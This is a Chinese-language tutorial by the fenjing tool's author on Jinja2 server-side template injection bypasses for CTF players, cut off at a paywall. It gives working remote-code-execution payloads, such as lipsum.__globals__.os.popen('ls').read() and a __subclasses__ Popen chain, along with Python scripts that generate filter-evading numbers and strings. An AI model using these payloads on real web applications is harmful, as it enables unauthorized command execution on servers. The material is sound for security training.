Marven11
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
介绍
Jinja SSTI 的绕过手法非常多,但是很多文章在介绍绕过手法的时候只会从绕过字符的角度切入,难以查找,而且介绍的手法也不够全。
这里我将 fenjing 开发两年中包含的所有手法都整合在这篇文章中,并从构造目标的角度切入,希望可以让各位选手进阶 Jinja SSTI
有些手法很难手搓,本文会附带上示例脚本用于生成 payload
目录
整体 payload 的构造思路
常用技巧
任意自然数
十六进制、二进制和八进制
filter
加减乘除
True 和 False
unicode
字符串拼接
+
和~
join
replace
__add__
lipsum.__globals__.concat
"%s%%s"
特殊:字符串重复
英文小写字符、阿拉伯数字和下划线
dict
从全局对象中提取
特殊字符:百分号
%
特殊字符串:
"%c"
任意字符串 - 简单手法
任意字符串 - 复杂手法
取属性和字典的值
map filter
globals()
“全局函数”
取 flask config
构造最终 payload
整体 payload 的构造思路
不要再用你那啰里八嗦的__subclasses__
了
很多入门 jinja SSTI 教程都喜欢教小白用"".__mro__
之类的技巧搓 payload
套路就是使用__base__
,__mro__
之类的属性拿到object
类,然后用__subclasses__
找到需要的类,比如
{{ "".__class__.__mro__[1].__subclasses__()[513]('ls /',stdout=-1,stderr=-1,shell=True).communicate()[0]}}
可是这个套路不仅要从一个非常长的列表中挑出subprocess.Popen
的位置(在上面是 513),如果要打内存马甚至还得从这个类中拿出__init__
函数,再找eval
函数,比如说这样:
[].__class__.__mro__[1].__subclasses__()[513].__init__.__globals__['__builtins__']['eval'](...)
这不是脱裤子放 P 吗
用lipsum
等全局变量可以直接拿到eval
函数,__import__
函数,os
模块等等,用不着__subclasses__
,也根本不需要用到__mro__
之类的东西
那有人就会说了:如果像lipsum
这些东西都被 ban 了怎么办?我接下来会在“全局变量”一段展示如何用任意变量名代替lipsum
,cycler
,g
等全局变量
使用lipsum.__globals__.__bulitins__.eval
使用 lipsum 等全局变量可以直接找到builtins
模块,然后直接拿到eval
函数或者__import__
函数实现 RCE. 这样不需要从列表中找到subprocess.Popen
类,构造出的 payload 也会简单很多
比如
lipsum.__globals__.__builtins__.eval('114+514')
就是从 lipsum 中拿到__globals__
这个属性(也就是globals()
字典),取其中__builtins__
的值,再拿出 eval 函数,计算114+514
lipsum.__globals__.__builtins__.__import__('os').popen('ls /').read()
和上面的差不多,但是是拿出__import__
函数,导入 os 模块,调用 popen 函数执行ls /
,最后读取输出
使用lipsum.__globals__.os.popen
如果只需要构造命令的话可以直接拿出 os 模块调用 popen 函数,比如
{{ lipsum.__globals__.os.popen('ls').read() }}
{{ cycler.next.__globals__.os.popen('ls').read() }}
注意 flask 提供的变量,如g
,self
等不能这么操作,因为这些类所在的.py 文件没有import os
构造套路
综合上面的手法来看,payload的构造思路是:
首先思考构造"_","%c"等特殊字符串
然后思考构造任意数字/字符串
再然后取全局变量的属性
最后调用eval等函数实现RCE.
一般来说只有从上到下依次实现才能构造出需要的payload. 而其中最重要的就是任意字符串。如果没有任意字符串,那取属性、调用eval函数等等都会变得非常困难。
常用技巧
所有会将任意对象转成字符串的 filter
capitalize
center
escape
(可简写为 e)forceescape
(不如上面那个好用)lower
pprint
safe
string
trim
unique
upper
urlencode
取出字符串/列表的第 i 个字符/元素:
"abcdef"|batch(i)|first|last
(i 从 1 开始)如果方括号
[]
被 ban 了的话,可以使用batch
这个 filter 拿出字符串的第 i 个字符或者列表的第 i 个元素batch
这个 filter 的作用是将字符串/列表 n 个 n 个地切分开,分成多个列表。比如"abcdef"
会变成[["a","b"],["c","d"],["e","f"]]
,特别注意第 n 个字符正好在第一个列表的最后一位这样,我们要拿出第 i 个字符(比如说字符串
"abcdef"
中的第二个字符 b),只需要用"abcdef"|batch(2)|first|last
就好了原理是将字符串
"abcdef"
两个两个地分开,这样字符 b 就在第一个列表的最后一个元素,用|first|last
拿出来就好了
任意自然数
有些难题会禁止某些数字,甚至禁止 0-9 的出现,如果我们不能生成数字,就不能通过"%c"
生成任意字符串了。
构造数字的方法主要有以下这些
十六进制、二进制和八进制
这个应该大家都能想到,如果有某些被 ban 了可以考虑用十六进制等绕过
比如说0x61
就是数字 97,0b1000001
就是数字 65,0o173
就是数字 123
要把数字转成对应的十六进制等可以用 python 内置的hex
等函数
filter
length
和count
我们可以构造出一个很长的列表、元组或者字典,然后取这个列表的长度,这样构造出所有数字
def get_number(n, length_or_count="length"):
if n == 0:
return "()|" + length_or_count
elif n == 1:
return "()|int|e|" + length_or_count
elif n == 2:
return "(()|int~()|int)|" + length_or_count
elif n % 2 == 0:
return "(" + "~".join("()" for _ in range(n // 2)) + ")|" + length_or_count
else:
return "(" + "~".join("()" for _ in range(n // 2)) + "~()|int)|" + length_or_count
如果不能使用逗号的话也可以构造出一个很长的字符串(一般用dict
构造)然后求长度
def get_number(n):
return "dict("+"i"*n+"=i)|first|count"
print(get_number(10)) # dict(iiiiiiiiii=i)|first|count
int
如果我们可以用其他方法构造出 0-9 这些数字的字符,就可以拼接这些字符并通过int
生成需要的数字
这里使用波浪线~
拼接各个数字字符
def get_number_small(n, length_or_count="length"):
"""这个函数用来生成数字0-9"""
if n == 0:
return "()|" + length_or_count
elif n == 1:
return "()|int|e|" + length_or_count
elif n == 2:
return "(()|int~()|int)|" + length_or_count
elif n % 2 == 0:
return "(" + "~".join("()" for _ in range(n // 2)) + ")|" + length_or_count
else:
return "(" + "~".join("()" for _ in range(n // 2)) + "~()|int)|" + length_or_count
def get_number(n, length_or_count="length"):
if n < 10:
return get_number_small(n, length_or_count)
return "(" + "~".join(get_number_small(int(x)) for x in str(n)) + ")|int"
print(get_number(123)) # (()|int|e|length~(()|int~()|int)|length~(()~()|int)|length)|int
sum
可以先构造出数字 1,然后用 sum 将多个数字 1 求和,得出任意正整数
def get_number(n):
one = "1" # 或者"True"
return "("+",".join(one for _ in range(n))+")|sum"
print(get_number(10)) # (1,1,1,1,1,1,1,1,1,1)|sum
加减乘除等
如果我们能生成比较小的数字,我们就可以通过加减乘除计算出需要的所有自然数
甚至,我们只需要能构造出数字 1,就能通过1+1+1+...
的方式构造出所有正整数,也可以用1-1
的方式构造出 0
def get_number(n):
if n == 0:
return "0"
elif n == 1:
return "1"
else:
# 其中的"1"也可以换成其他
return "("+"+".join("1" for _ in range(n))+")"
print(get_number(123)) # 1+1+1+...
除了加减乘除之外我们还可以使用乘方,使用乘方可以大大减少 payload 长度(虽然在大部分情况下都没用)
True 和 False
True 是 1, False 是 0, 而且在 python 中 bool 是 int 的子类,所以可以用 True 替换 1
然后使用加法就能构造出所有正整数,比如 5 就是True+True+True+True+True
def get_number(n):
if n == 0:
return "False"
elif n == 1:
return "True"
else:
return "("+"+".join("True" for _ in range(n))+")"
print(get_number(123)) # (True+True+True+True+True+True+True+True+True+True+...
unicode
python 除了可以识别普通的数字字符之外还支持 Unicode 数字字符。比如说int('႖႖႖')
在 python 中的结果为 666。所以我们可以将部分字符替换成这些 unicode 字符实现绕过。
通过 fuzz 我们可以得到所有可以被转成 0-9 的字符,其中每个字符串中的字符从左到右分别代表 0-9
[
"٠١٢٣٤٥٦٧٨٩", "۰۱۲۳۴۵۶۷۸۹", "߀߁߂߃߄߅߆߇߈߉", "०१२३४५६७८९", "০১২৩৪৫৬৭৮৯", "੦੧੨੩੪੫੬੭੮੯", "૦૧૨૩૪૫૬૭૮૯",
"୦୧୨୩୪୫୬୭୮୯", "௦௧௨௩௪௫௬௭௮௯", "౦౧౨౩౪౫౬౭౮౯", "೦೧೨೩೪೫೬೭೮೯", "൦൧൨൩൪൫൬൭൮൯", "๐๑๒๓๔๕๖๗๘๙", "໐໑໒໓໔໕໖໗໘໙",
畅读付费文章
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)